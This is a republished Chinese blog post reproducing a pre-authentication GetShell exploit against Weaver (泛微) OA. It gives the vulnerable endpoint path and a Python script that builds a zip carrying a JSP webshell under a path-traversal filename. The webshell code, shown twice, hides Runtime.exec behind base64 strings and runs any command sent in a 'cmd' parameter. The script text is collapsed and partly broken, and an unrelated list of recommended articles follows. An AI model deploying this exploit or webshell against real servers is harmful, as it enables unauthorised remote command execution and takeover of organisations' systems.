泛微 OA 前台 GetShell 复现

自行搭建环境:

泛微 OA 前台 GetShell 复现

漏洞路径:

/weaver/weaver.common.Ctrl/.css?arg0=com.cloudstore.api.service.Service_CheckApp&arg1=validateApp

漏洞验证:

发送上传数据包:

泛微 OA 前台 GetShell 复现

验证结果:

泛微 OA 前台 GetShell 复现

懒人:

泛微 OA 前台 GetShell 复现

PY

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667
import zipfileimport randomimport sysimport requestsdef generate_random_str(randomlength=16):  random_str = ''  base_str = 'ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789'  length = len(base_str) - 1  for i in range(randomlength):    random_str += base_str[random.randint(0, length)]  return random_strmm = generate_random_str(8)webshell_name1 = mm+'.jsp'webshell_name2 = '../../../'+webshell_name1def file_zip():    shell = """    if(request.getParameter("cmd")!=null){        BASE64Decoder decoder = new BASE64Decoder();        Class rt = Class.forName(new String(decoder.decodeBuffer("amF2YS5sYW5nLlJ1bnRpbWU=")));        Process e = (Process)                rt.getMethod(new String(decoder.decodeBuffer("ZXhlYw==")), String.class).invoke(rt.getMethod(new                        String(decoder.decodeBuffer("Z2V0UnVudGltZQ=="))).invoke(null, new                        Object[]{}), request.getParameter("cmd") );        java.io.InputStream in = e.getInputStream();        int a = -1;        byte[] b = new byte[2048];        out.print("");        while((a=in.read(b))!=-1){            out.println(new String(b));        }        out.print("");    }%>    """

CODE

12345678910111213141516171819202122
if(request.getParameter("cmd")!=null){        BASE64Decoder decoder = new BASE64Decoder();        Class rt = Class.forName(new String(decoder.decodeBuffer("amF2YS5sYW5nLlJ1bnRpbWU=")));        Process e = (Process)                rt.getMethod(new String(decoder.decodeBuffer("ZXhlYw==")), String.class).invoke(rt.getMethod(new                        String(decoder.decodeBuffer("Z2V0UnVudGltZQ=="))).invoke(null, new                        Object[]{}), request.getParameter("cmd") );        java.io.InputStream in = e.getInputStream();        int a = -1;        byte[] b = new byte[2048];        out.print("");        while((a=in.read(b))!=-1){            out.println(new String(b));        }        out.print("");    }%>

Original: https://www.cnblogs.com/nul1/p/14749353.html
Author: _nul1
Title: 泛微 OA 前台 GetShell 复现

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/529621/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • 操作系统实现-简单热身

    博客网址:www.shicoder.top微信:18223081347欢迎加群聊天 :452380935 这次对上次的boot.asm进行代码讲解,也可以对汇编的相关理论进行补充 …

    Linux 2023年6月13日
    097
  • SQLI-LABS(Less-9、10)

    Less-9(GET-Blind-Time based-Single Quotes) 打开 Less-9页面,可以看到页面中间有一句 Please input the ID as …

    Linux 2023年6月6日
    0105
  • 微服务与领域驱动设计,架构实践总结

    怎样的架构才能配得上造到飞起的变化? 一、软件复杂性 1、复杂原因 如果软件系统存在持续的迭代周期,那么其中业务、技术、架构的复杂性都会直线拉升,其相应的开发难度也会提高,可以用一…

    Linux 2023年6月14日
    067
  • 数据结构-树

    404. 抱歉,您访问的资源不存在。 可能是网址有误,或者对应的内容被删除,或者处于私有状态。 代码改变世界,联系邮箱 contact@cnblogs.com 园子的商业化努力-困…

    Linux 2023年6月11日
    0119
  • Rprop 与 RMSprop 优化器

    https://www.cnblogs.com/setdong/p/16508415.html 1. Rprop 在 full-batch optimization 中, 一些梯度…

    Linux 2023年6月7日
    088
  • 【PHP代码审计】TP3.2某传销系统getshell

    博客园 :当前访问的博文已被密码保护 请输入阅读密码: Original: https://www.cnblogs.com/sevck/p/16547738.htmlAuthor:…

    Linux 2023年5月28日
    0100
  • Canal.adapter报错

    Canal.adapter报错 报错如下: 2021-09-09 15:56:33.669 [Thread-12] ERROR c.a.o.canal.adapter.launch…

    Linux 2023年6月8日
    0106
  • HRShell:Flask构建的HTTPS HTTP反向Shell

    https://www.freebuf.com/sectool/212678.html 纸上得来终觉浅,绝知此事要躬行! Original: https://www.cnblogs…

    Linux 2023年5月28日
    0122
  • windows环境 php 连接 sql server

    下载扩展: ODBC Driver: 安装配置: 下载SQL Server的PHP扩展(Microsoft Drivers for PHP for SQL Server),连接里有…

    Linux 2023年6月7日
    0108
  • 19-TCP、UDP的区别和应用场景

    可靠性TCP 提供交付保证,这意味着一个使用TCP协议发送的消息是保证交付给客户端的,如果消息在传输过程中丢失,那么它将重发。UDP是不可靠的,它不提供任何交付的保证,一个数据包在…

    Linux 2023年6月7日
    087
  • 字符设备驱动

    1.字符设备驱动概述 Linux用户空间与内核空间之间的虚拟内存是分开的,用户空间不能直接写入内核空间,如果用户空间和内核空间需要传递数据就需要字符设备驱动。 2.结构体以及函数介…

    Linux 2023年6月8日
    0148
  • shell ${val:0:3)含义

    ${file:0:5}:提取最左边的5个字节:/dir1${file:5:5}:提取第5个字节右边的连续5个字节:/dir2 例子: pval=12345678 r=${pval:…

    Linux 2023年5月28日
    072
  • DNS

    DNS是域名系统(Domain Name System),简单来说就是平时上网输入的URL,如 www.baidu.com 就是域名,而DNS就是将这个域名解析成IP地址,如 ww…

    Linux 2023年6月7日
    086
  • centos7自动化ssh免密

    在做免密前要先手动生成公钥: ssh-keygen -t rsa 敲击三次回车即可 写一个shell脚本: expect命令可以获取到命令返回结果并且根据指定内容进行自动发送相应字…

    Linux 2023年6月6日
    0152
  • 关于.NET CORE 编译时错误:Microsoft.AspNetCore.Razor.Design.CodeGeneration.targets(79, 5): The project XXXXX must provide a value for Configuration.

    此笔记记载了本人在编译.Net Core项目时遇到的 Microsoft.AspNetCore.Razor.Design.CodeGeneration.targets(79, 5)…

    Linux 2023年6月14日
    0113
  • 6.19(junit–>在maven和Spring中的使用)

    写文章要不忘初心,今天也要继续努力~ 白盒测试:是一种测试用例设计方法,在这里盒子指的是被测试的软件,白盒,顾名思义即盒子是可视的,你可以清楚盒子内部的东西以及里面是如何运作的,因…

    Linux 2023年6月7日
    0106
亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球